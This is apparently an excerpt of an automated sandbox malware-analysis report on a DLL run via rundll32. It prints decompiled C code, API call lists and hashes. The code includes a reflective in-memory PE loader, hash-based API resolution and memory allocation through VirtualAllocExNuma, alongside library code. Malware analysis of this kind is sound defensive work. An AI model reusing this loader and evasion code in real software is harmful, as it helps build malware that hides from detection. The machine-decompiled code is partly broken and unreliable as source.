							_t202 = _t203 + 8;
							_v28 = _t116;
							if(_v28 != 0) {
								 *((intOrPtr*)(_a4 + 8)) = _v28;
								 *((intOrPtr*)( *((intOrPtr*)(_a4 + 8)) +  *(_a4 + 0xc) * 4)) = _v36;
								 *(_a4 + 0xc) =  *(_a4 + 0xc) + 1;
								if( *_v8 == 0) {
									_v32 = _v20 +  *((intOrPtr*)(_v8 + 0x10));
									_v24 = _v20 +  *((intOrPtr*)(_v8 + 0x10));
								} else {
									_v32 = _v20 +  *_v8;
									_v24 = _v20 +  *((intOrPtr*)(_v8 + 0x10));
								}
								while( *_v32 != 0) {
									if(( *_v32 & 0x80000000) == 0) {
										_v40 = _v20 +  *_v32;
										_t133 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x20))))(_v36, _v40 + 2,  *((intOrPtr*)(_a4 + 0x28)));
										_t202 = _t202 + 0xc;
										 *_v24 = _t133;
									} else {
										_t138 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x20))))(_v36,  *_v32 & 0x0000ffff,  *((intOrPtr*)(_a4 + 0x28)));
										_t202 = _t202 + 0xc;
										 *_v24 = _t138;
									}
									if( *_v24 != 0) {
										_v32 =  &(_v32[1]);
										_v24 = _v24 + 4;
										continue;
									} else {
										_v16 = 0;
										break;
									}
								}
								if(_v16 != 0) {
									_v8 = _v8 + 0x14;
									continue;
								}
								 *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x24))))(_v36,  *((intOrPtr*)(_a4 + 0x28)));
								SetLastError(0x7f);
								break;
							}
							 *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x24))))(_v36,  *((intOrPtr*)(_a4 + 0x28)));
							SetLastError(0xe);
							_v16 = 0;
							break;
						}
						SetLastError(0x7e);
						_v16 = 0;
						break;
					}
					return _v16;
				}
				return 1;
			}

APIs

IsBadReadPtr.KERNEL32(00000000,00000014,?,?,?,?,10002C4E,00000000,00000000), ref: 100026C5
SetLastError.KERNEL32(0000007E), ref: 10002707

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLastRead
String ID:
API String ID: 4100373531-0
Opcode ID: c2a98b38cbef77d555c79c56aa9516de66013d98deec03bde9f9d281594a25e0
Instruction ID: 5b18a635dcf056017fd1ee77a603d3a0bb8baed770e763f1765233b10108ec1d
Opcode Fuzzy Hash: c2a98b38cbef77d555c79c56aa9516de66013d98deec03bde9f9d281594a25e0
Instruction Fuzzy Hash: 7381BAB4A05209DFDB04CF94C880A9EB7B1FF88354F248159E819AB355D735EE82CF94

Uniqueness

Uniqueness Score: -1.00%

Function 1001431B, Relevance: 5.0, APIs: 4, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E1001431B(void* __ebx, void* __esi, void* __ebp, signed int _a4) {
				void* __edi;
				struct _CRITICAL_SECTION* _t4;
				void* _t7;
				void* _t10;
				signed int _t11;
				void* _t14;
				intOrPtr* _t15;
				void* _t17;

				_t17 = __ebp;
				_t14 = __esi;
				_t7 = __ebx;
				_t11 = _a4;
				_t20 = _t11 - 0x11;
				if(_t11 >= 0x11) {
					_t4 = E1000A0DB(__ebx, _t10, _t11, __esi, _t20);
				}
				if( *0x1005aac0 == 0) {
					_t4 = E100142F7();
				}
				_push(_t7);
				_push(_t17);
				_push(_t14);
				_t15 = 0x1005ac78 + _t11 * 4;
				if( *_t15 == 0) {
					EnterCriticalSection(0x1005ac60);
					if( *_t15 == 0) {
						_t4 = 0x1005aac8 + _t11 * 0x18;
						InitializeCriticalSection(_t4);
						 *_t15 =  *_t15 + 1;
					}
					LeaveCriticalSection(0x1005ac60);
				}
				EnterCriticalSection(0x1005aac8 + _t11 * 0x18);
				return _t4;
			}

APIs

EnterCriticalSection.KERNEL32(1005AC60,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014357
InitializeCriticalSection.KERNEL32(?,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014366
LeaveCriticalSection.KERNEL32(1005AC60,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014373
EnterCriticalSection.KERNEL32(?,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 1001437F

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: CriticalSection$Enter$Exception@8H_prolog3InitializeLeaveThrow
String ID:
API String ID: 2895727460-0
Opcode ID: fc52205701aaf5afb0ce0b222181c69e48b6197276059f190c1bff8ca6cb0e4a
Instruction ID: b2ae72b8ab0fae698251e24a42d2174316ff56aad592cf34d272a36c1b8e20b9
Opcode Fuzzy Hash: fc52205701aaf5afb0ce0b222181c69e48b6197276059f190c1bff8ca6cb0e4a
Instruction Fuzzy Hash: 05F090739002169BE700DF59CC89A1ABBA9FBC32A5F93011AF14096121DB3199C5CA61

Uniqueness

Uniqueness Score: -1.00%

Function 1001398E, Relevance: 5.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E1001398E(long* __ecx, signed int _a4) {
				void* _t9;
				struct _CRITICAL_SECTION* _t12;
				signed int _t14;
				long* _t16;

				_t16 = __ecx;
				_t1 =  &(_t16[7]); // 0x1005aaa8
				_t12 = _t1;
				EnterCriticalSection(_t12);
				_t14 = _a4;
				if(_t14 <= 0) {
					L5:
					LeaveCriticalSection(_t12);
					return 0;
				}
				_t3 =  &(_t16[3]); // 0x3
				if(_t14 >=  *_t3) {
					goto L5;
				}
				_t9 = TlsGetValue( *_t16);
				if(_t9 == 0 || _t14 >=  *((intOrPtr*)(_t9 + 8))) {
					goto L5;
				} else {
					LeaveCriticalSection(_t12);
					return  *((intOrPtr*)( *((intOrPtr*)(_t9 + 0xc)) + _t14 * 4));
				}
			}

APIs

EnterCriticalSection.KERNEL32(1005AAA8,?,?,?,10013DFF,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 10013997
TlsGetValue.KERNEL32(1005AA8C,?,?,?,10013DFF,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 100139AC
LeaveCriticalSection.KERNEL32(1005AAA8,?,?,?,10013DFF,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 100139C2
LeaveCriticalSection.KERNEL32(1005AAA8,?,?,?,10013DFF,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 100139CD

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: CriticalSection$Leave$EnterValue
String ID:
API String ID: 3969253408-0
Opcode ID: 8c266227b3abe2b759591ba9b775a43eab1fad3fbd471f069813da335311fd75
Instruction ID: ae8276b6876f5357c50f650584214137971e28de593e3cdb7c29343fae997712
Opcode Fuzzy Hash: 8c266227b3abe2b759591ba9b775a43eab1fad3fbd471f069813da335311fd75
Instruction Fuzzy Hash: 27F012762006529FD710DF65CC8C90B77EDEF84291327D856E84697152D770F856CF50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 6428 Parent PID: 7156 rundll32.exeCOMMON

Execution Graph

Execution Coverage:	8.9%
Dynamic/Decrypted Code Coverage:	38.9%
Signature Coverage:	0%
Total number of Nodes:	553
Total number of Limit Nodes:	25

Executed Functions

Function 10002900, Relevance: 22.8, APIs: 15, Instructions: 331
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E10002900(intOrPtr __ecx, signed short* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				void* _v8;
				void* _v12;
				signed short* _v16;
				void* _v20;
				void* _v24;
				long _v28;
				signed int _v32;
				intOrPtr _v64;
				char _v68;
				void* _v72;
				intOrPtr _v76;
				intOrPtr* _v80;
				intOrPtr _v84;
				void* _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				void* _t180;
				void* _t191;
				void* _t198;
				void* _t202;
				void* _t220;
				intOrPtr _t269;

				_v100 = __ecx;
				_v72 = 0;
				_v20 = 0;
				if(E10001FE0(_v100, _a8, 0x40) != 0) {
					_v16 = _a4;
					if(( *_v16 & 0x0000ffff) == 0x5a4d) {
						_t10 =  &(_v16[0x1e]); // 0x47e81005
						if(E10001FE0(_v100, _a8,  *_t10 + 0xf8) != 0) {
							_t15 =  &(_v16[0x1e]); // 0x47e81005
							_v80 = _a4 +  *_t15;
							if( *_v80 == 0x4550) {
								if(( *(_v80 + 4) & 0x0000ffff) == 0x14c) {
									if(( *(_v80 + 0x38) & 0x00000001) == 0) {
										_v84 = _v80 + ( *(_v80 + 0x14) & 0x0000ffff) + 0x18;
										_v32 =  *(_v80 + 0x38);
										_v12 = 0;
										while(_v12 < ( *(_v80 + 6) & 0x0000ffff)) {
											if( *((intOrPtr*)(_v84 + 0x10)) != 0) {
												_v88 =  *((intOrPtr*)(_v84 + 0xc)) +  *((intOrPtr*)(_v84 + 0x10));
											} else {
												_v88 =  *((intOrPtr*)(_v84 + 0xc)) + _v32;
											}
											if(_v88 > _v20) {
												_v20 = _v88;
											}
											_v12 = _v12 + 1;
											_v84 = _v84 + 0x28;
										}
										__imp__GetNativeSystemInfo( &_v68); // executed
										_v28 =  *((intOrPtr*)(_v80 + 0x50)) + _v64 - 0x00000001 &  !(_v64 - 1);
										_t65 = _v64 - 1; // -1
										if(_v28 == (_v20 + _t65 &  !(_v64 - 1))) {
											_t180 = VirtualAlloc( *(_v80 + 0x34), _v28, 0x3000, 4); // executed
											_v24 = _t180;
											if(_v24 != 0) {
												L26:
												_v72 = HeapAlloc(GetProcessHeap(), 8, 0x34);
												if(_v72 != 0) {
													 *((intOrPtr*)(_v72 + 4)) = _v24;
													asm("sbb edx, edx");
													 *(_v72 + 0x14) =  ~( ~( *(_v80 + 0x16) & 0x2000));
													 *((intOrPtr*)(_v72 + 0x1c)) = _a12;
													 *((intOrPtr*)(_v72 + 0x20)) = _a16;
													 *((intOrPtr*)(_v72 + 0x24)) = _a20;
													 *((intOrPtr*)(_v72 + 0x28)) = _a24;
													 *((intOrPtr*)(_v72 + 0x30)) = _v64;
													if(E10001FE0(_v100, _a8,  *(_v80 + 0x54)) != 0) {
														_t191 = VirtualAlloc(_v24,  *(_v80 + 0x54), 0x1000, 4); // executed
														_v8 = _t191;
														E10001E60(_v8, _v16,  *(_v80 + 0x54));
														_t115 =  &(_v16[0x1e]); // 0x47e81005
														 *_v72 = _v8 +  *_t115;
														 *((intOrPtr*)( *_v72 + 0x34)) = _v24;
														_t198 = E10002010(_v100, _a4, _a8, _v80, _v72); // executed
														if(_t198 != 0) {
															_t269 =  *((intOrPtr*)( *_v72 + 0x34)) -  *(_v80 + 0x34);
															_v76 = _t269;
															if(_t269 == 0) {
																 *((intOrPtr*)(_v72 + 0x18)) = 1;
															} else {
																 *((intOrPtr*)(_v72 + 0x18)) = E10002500(_v100, _v72, _v76);
															}
															if(E10002670(_v100, _v72) != 0) {
																_t202 = E10002300(_v100, _v72); // executed
																if(_t202 != 0) {
																	if(E10002480(_v100, _v72) != 0) {
																		if( *((intOrPtr*)( *_v72 + 0x28)) == 0) {
																			 *(_v72 + 0x2c) = 0;
																			L49:
																			return _v72;
																		}
																		if( *(_v72 + 0x14) == 0) {
																			 *(_v72 + 0x2c) = _v24 +  *((intOrPtr*)( *_v72 + 0x28));
																			L47:
																			goto L49;
																		}
																		_v96 = _v24 +  *((intOrPtr*)( *_v72 + 0x28));
																		_v92 = _v96( *0x10058ed0,  *0x10058ed4,  *0x10058ed8);
																		if(_v92 != 0) {
																			 *((intOrPtr*)(_v72 + 0x10)) = 1;
																			goto L47;
																		}
																		SetLastError(0x45a);
																		L50:
																		E10002EC0(_v100, _v72);
																		return 0;
																	}
																	goto L50;
																}
																goto L50;
															}
															goto L50;
														}
														goto L50;
													}
													goto L50;
												}
												VirtualFree(_v24, 0, 0x8000);
												SetLastError(0xe);
												return 0;
											}
											_t220 = VirtualAlloc(0, _v28, 0x3000, 4); // executed
											_v24 = _t220;
											if(_v24 != 0) {
												goto L26;
											}
											SetLastError(0xe);
											return 0;
										}
										SetLastError(0xc1);
										return 0;
									}
									SetLastError(0xc1);
									return 0;
								}
								SetLastError(0xc1);
								return 0;
							}
							SetLastError(0xc1);
							return 0;
						}
						return 0;
					}
					SetLastError(0xc1);
					return 0;
				}
				return 0;
			}

0x10002906
0x10002909
0x10002910
0x10002927
0x10002933
0x10002941
0x10002958
0x10002970
0x1000297f
0x10002982
0x1000298e
0x100029af
0x100029cc
0x100029ee
0x100029f7
0x100029fa
0x10002a15
0x10002a28
0x10002a44
0x10002a2a
0x10002a33
0x10002a33
0x10002a4d
0x10002a52
0x10002a52
0x10002a09
0x10002a12
0x10002a12
0x10002a5b
0x10002a78
0x10002a81
0x10002a92
0x10002ab8
0x10002abe
0x10002ac5
0x10002af2
0x10002b03
0x10002b0a
0x10002b32
0x10002b44
0x10002b4b
0x10002b54
0x10002b5d
0x10002b66
0x10002b6f
0x10002b78
0x10002b90
0x10002bae
0x10002bb4
0x10002bc6
0x10002bd4
0x10002bda
0x10002be4
0x10002bfa
0x10002c01
0x10002c18
0x10002c1b
0x10002c1e
0x10002c3b
0x10002c20
0x10002c33
0x10002c33
0x10002c50
0x10002c63
0x10002c6a
0x10002c84
0x10002c96
0x10002d00
0x10002d07
0x00000000
0x10002d07
0x10002c9f
0x10002cf8
0x10002cfb
0x00000000
0x10002cfb
0x10002cac
0x10002cc6
0x10002ccd
0x10002ce1
0x00000000
0x10002ce1
0x10002cd4
0x10002d0c
0x10002d13
0x00000000
0x10002d18
0x00000000
0x10002c86
0x00000000
0x10002c6c
0x00000000
0x10002c52
0x00000000
0x10002c03
0x00000000
0x10002b92
0x10002b17
0x10002b1f
0x00000000
0x10002b25
0x10002ad4
0x10002ada
0x10002ae1
0x00000000
0x00000000
0x10002ae5
0x00000000
0x10002aeb
0x10002a99
0x00000000
0x10002a9f
0x100029d3
0x00000000
0x100029d9
0x100029b6
0x00000000
0x100029bc
0x10002995
0x00000000
0x1000299b
0x00000000
0x10002972
0x10002948
0x00000000
0x1000294e
0x00000000

APIs

Part of subcall function 10001FE0: SetLastError.KERNEL32(0000000D,?,?,10002925,10008AC6,00000040), ref: 10001FF1

SetLastError.KERNEL32(000000C1,10008AC6,00000040), ref: 10002948

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 9f8fd11913f32cab2844c3c1a057e378a988063cc1cc8628eac50dfddf8eea29
Instruction ID: 2ef2df373ea658209f5af2a718a6df98ca9e1c1927523c70ceffa034f4820264
Opcode Fuzzy Hash: 9f8fd11913f32cab2844c3c1a057e378a988063cc1cc8628eac50dfddf8eea29
Instruction Fuzzy Hash: 01E1F874A01219EFEB04CF94C994E9EB7B2FF88384F208559E905AB399D770AD46CF50

Uniqueness

Uniqueness Score: -1.00%

Function 10013A9B, Relevance: 16.6, APIs: 11, Instructions: 103
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E10013A9B() {
				struct _CRITICAL_SECTION* _v4;
				char _v28;
				char _v36;
				char _v44;
				intOrPtr _v56;
				void* __ebx;
				intOrPtr __ecx;
				signed int __edi;
				void* __esi;
				void* __ebp;
				struct _CRITICAL_SECTION* _t39;
				signed int _t40;
				void* _t41;
				long _t44;
				void* _t45;
				signed int* _t51;
				intOrPtr _t64;
				long _t68;
				void* _t69;
				void* _t70;
				signed int _t72;
				intOrPtr _t78;
				signed int _t82;
				void* _t86;
				signed int _t88;
				void* _t90;
				void* _t91;
				void* _t93;

				_push(_t72);
				_push(_t69);
				_push(_t88);
				_t86 = _t72;
				_t39 = _t86 + 0x1c;
				_v4 = _t39;
				EnterCriticalSection(_t39);
				_t40 =  *(_t86 + 4);
				_t82 =  *(_t86 + 8);
				if(_t82 >= _t40) {
					L7:
					_t82 = 1;
					__eflags = _t40 - 1;
					if(_t40 <= 1) {
						L12:
						_t88 = _t40 + 0x20;
						_t41 =  *(_t86 + 0x10);
						__eflags = _t41;
						if(__eflags != 0) {
							_t69 = GlobalHandle(_t41);
							GlobalUnlock(_t69);
							_t44 = E100134F9(_t72, __eflags, _t88, 8);
							_t72 = 0x2002;
							_t45 = GlobalReAlloc(_t69, _t44, ??);
						} else {
							_t68 = E100134F9(_t72, __eflags, _t88, 8);
							_pop(_t72);
							_t45 = GlobalAlloc(2, _t68); // executed
						}
						__eflags = _t45;
						if(_t45 != 0) {
							_t70 = GlobalLock(_t45);
							__eflags = _t88 -  *(_t86 + 4) << 3;
							E100174D0(_t82, _t70 +  *(_t86 + 4) * 8, 0, _t88 -  *(_t86 + 4) << 3);
							 *(_t86 + 4) = _t88;
							 *(_t86 + 0x10) = _t70;
							goto L20;
						} else {
							_t86 =  *(_t86 + 0x10);
							__eflags = _t86;
							if(_t86 != 0) {
								GlobalLock(GlobalHandle(_t86));
							}
							LeaveCriticalSection(_v4);
							_push(_t88);
							_t90 = _t93;
							_push(_t72);
							_v28 = 0x10057168;
							E10017C83( &_v28, 0x1002e258);
							asm("int3");
							_push(_t90);
							_t91 = _t93;
							_push(_t72);
							_v36 = 0x10057200;
							E10017C83( &_v36, 0x1002e2b8);
							asm("int3");
							_push(_t91);
							_push(_t72);
							_v44 = 0x10057298;
							E10017C83( &_v44, 0x1002e2fc);
							asm("int3");
							_push(4);
							E10017BC1(E10027DEC, _t69, _t82, _t86);
							_t78 = E10013965(0x104);
							_v56 = _t78;
							_t64 = 0;
							_v44 = 0;
							if(_t78 != 0) {
								_t64 = E1000CF71(_t78);
							}
							return E10017C60(_t64);
						}
					} else {
						_t72 =  *(_t86 + 0x10) + 8;
						__eflags = _t72;
						while(1) {
							__eflags =  *_t72 & 0x00000001;
							if(( *_t72 & 0x00000001) == 0) {
								break;
							}
							_t82 = _t82 + 1;
							_t72 = _t72 + 8;
							__eflags = _t82 - _t40;
							if(_t82 < _t40) {
								continue;
							}
							break;
						}
						__eflags = _t82 - _t40;
						if(_t82 < _t40) {
							goto L20;
						} else {
							goto L12;
						}
					}
				} else {
					__ecx =  *((intOrPtr*)(__esi + 0x10));
					__eflags =  *(__ecx + __edi * 8) & 0x00000001;
					if(( *(__ecx + __edi * 8) & 0x00000001) == 0) {
						L20:
						__eflags = _t82 -  *((intOrPtr*)(_t86 + 0xc));
						if(_t82 >=  *((intOrPtr*)(_t86 + 0xc))) {
							 *((intOrPtr*)(_t86 + 0xc)) = _t82 + 1;
						}
						_t51 =  *(_t86 + 0x10) + _t82 * 8;
						 *_t51 =  *_t51 | 0x00000001;
						__eflags =  *_t51;
						 *(_t86 + 8) = _t82 + 1;
						LeaveCriticalSection(_v4);
						return _t82;
					} else {
						goto L7;
					}
				}
			}

0x10013a9b
0x10013a9c
0x10013a9d
0x10013a9f
0x10013aa1
0x10013aa6
0x10013aaa
0x10013ab0
0x10013ab3
0x10013ab8
0x10013ac7
0x10013ac9
0x10013aca
0x10013acc
0x10013ae9
0x10013ae9
0x10013aec
0x10013aef
0x10013af1
0x10013b0f
0x10013b12
0x10013b20
0x10013b26
0x10013b29
0x10013af3
0x10013af6
0x10013afc
0x10013b00
0x10013b00
0x10013b2f
0x10013b31
0x10013b5e
0x10013b67
0x10013b71
0x10013b79
0x10013b7c
0x00000000
0x10013b33
0x10013b33
0x10013b36
0x10013b38
0x10013b42
0x10013b42
0x10013b4c
0x1000a0a7
0x1000a0a8
0x1000a0aa
0x1000a0b4
0x1000a0bb
0x1000a0c0
0x1000a0c1
0x1000a0c2
0x1000a0c4
0x1000a0ce
0x1000a0d5
0x1000a0da
0x1000a0db
0x1000a0de
0x1000a0e8
0x1000a0ef
0x1000a0f4
0x1000a0f5
0x1000a0fc
0x1000a10b
0x1000a10d
0x1000a110
0x1000a114
0x1000a117
0x1000a119
0x1000a119
0x1000a123
0x1000a123
0x10013ace
0x10013ad1
0x10013ad1
0x10013ad4
0x10013ad4
0x10013ad7
0x00000000
0x00000000
0x10013ad9
0x10013ada
0x10013add
0x10013adf
0x00000000
0x00000000
0x00000000
0x10013adf
0x10013ae1
0x10013ae3
0x00000000
0x00000000
0x00000000
0x00000000
0x10013ae3
0x10013aba
0x10013aba
0x10013abd
0x10013ac1
0x10013b7f
0x10013b7f
0x10013b82
0x10013b87
0x10013b87
0x10013b91
0x10013b94
0x10013b94
0x10013b9a
0x10013b9d
0x10013baa
0x00000000
0x00000000
0x00000000
0x10013ac1

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,10013DEC,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004), ref: 10013AAA
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,?,10013DEC,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10013B00
GlobalHandle.KERNEL32(?), ref: 10013B09
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,10013DEC,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004), ref: 10013B12
GlobalReAlloc.KERNEL32 ref: 10013B29
GlobalHandle.KERNEL32(?), ref: 10013B3B
GlobalLock.KERNEL32 ref: 10013B42
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,10013DEC,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004), ref: 10013B4C
GlobalLock.KERNEL32 ref: 10013B58
_memset.LIBCMT ref: 10013B71
LeaveCriticalSection.KERNEL32(?), ref: 10013B9D

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock_memset
String ID:
API String ID: 496899490-0
Opcode ID: db40230195121c03edd1d9de773089a9b398076d37fb16ef380e98a53d4696a6
Instruction ID: d2dedea389880cd6532a8cc41d1f31ca5a81082a511f3f96b23d25218acb7329
Opcode Fuzzy Hash: db40230195121c03edd1d9de773089a9b398076d37fb16ef380e98a53d4696a6
Instruction Fuzzy Hash: 5F31C1312043129FE720CF34CC8DA2A77E9FF84280B12891DE996C7651EB30F885CB10

Uniqueness

Uniqueness Score: -1.00%

Function 100088E0, Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 131
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E100088E0(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				struct HWND__* _v28;
				struct HWND__* _v32;
				struct HWND__* _v36;
				int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				void* __ebp;
				void* _t38;
				signed int _t47;
				intOrPtr _t56;
				struct HWND__* _t63;

				_t79 = __esi;
				_t78 = __edi;
				_t64 = __ebx;
				_v56 = _a8;
				 *0x10058ed0 = _a4;
				_t72 = _a8;
				 *0x10058ed4 = _a8;
				 *0x10058ed8 = _a12;
				_v8 = 0;
				_v36 = 0;
				_v28 = 0;
				_v32 = 0;
				_v12 = 0;
				_t38 = E10008860(__eflags); // executed
				if(_t38 != 0) {
					_push(0x10029b4c);
					E1001771B(__ebx, _t72, __edi, __esi, __eflags);
					return 0;
				}
				 *0x10056f08 = 0;
				 *0x10056f0c = 0;
				 *0x10056f10 = 0;
				 *0x10056f18 = 0;
				 *0x10056f14 = 0;
				_v40 = 0x44368d;
				_v52 = 0x3f8fc5;
				_v20 = 0x3b272b;
				_v24 = 0x2feb60;
				_v44 = 0xdd3c;
				_v48 = 0x47c;
				_v36 = 0x24e00;
				_v28 = E10006170(L"kernel32.dll");
				_v32 = E10006170(L"ntdll.dll");
				 *0x10058eb0 = E10006D50(_v28, 0x70e66e6b);
				 *0x10058eb8 = E10006D50(_v28, 0x579606ae);
				_t95 =  *0x10058eb8;
				if( *0x10058eb8 == 0) {
					_t47 = E10017716("8192") | 0x00001000;
					__eflags = _t47;
					_v12 =  *0x10058eb0(0, _v36, _t47, E10017716(0x10029b18));
				} else {
					_t63 =  *0x10058eb8(0xffffffff, 0, _v36, E10017716("8192") | 0x00001000, E10017716(0x10029b18), 0); // executed
					_v12 = _t63;
				}
				E10016A10(_t64, _t78, _t79, _v12, 0x10032098, _v36);
				_v16 = E1001703B(_t64, _v36, _t78, _t79,  *0x10056f04);
				E10002FA0(_t95, _v16, 0x10056e98, 0x6c);
				E10004F00(_v16, _v12, _v36);
				_t56 = E10002D20(0x10058ebc, _v12, _v36); // executed
				 *0x10058edc = _t56;
				ShowWindow(0, _v40); // executed
				return 1;
			}

0x100088e0
0x100088e0
0x100088e0
0x100088e9
0x100088ef
0x100088f5
0x100088f8
0x10008901
0x10008906
0x1000890d
0x10008914
0x1000891b
0x10008922
0x10008929
0x10008930
0x10008966
0x1000896b
0x00000000
0x10008973
0x10008932
0x1000893c
0x10008946
0x10008950
0x1000895a
0x1000897a
0x10008981
0x10008988
0x1000898f
0x10008996
0x1000899d
0x100089a4
0x100089b8
0x100089c8
0x100089dc
0x100089f2
0x100089f7
0x100089fe
0x10008a51
0x10008a51
0x10008a63
0x10008a00
0x10008a2b
0x10008a31
0x10008a31
0x10008a73
0x10008a8a
0x10008a98
0x10008aac
0x10008ac1
0x10008ac6
0x10008ad1
0x00000000

APIs

Part of subcall function 10008860: _malloc.LIBCMT ref: 1000886B

_printf.LIBCMT ref: 1000896B
VirtualAllocExNuma.KERNEL32(000000FF,00000000,00024E00,00000000,00000000,00000000), ref: 10008A2B
_malloc.LIBCMT ref: 10008A82
ShowWindow.USER32(00000000,0044368D,00000000,00024E00), ref: 10008AD1

Strings

ntdll.dll, xrefs: 100089BB
8192, xrefs: 10008A10, 10008A44
kernel32.dll, xrefs: 100089AB
`/, xrefs: 1000898F
+';, xrefs: 10008988

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

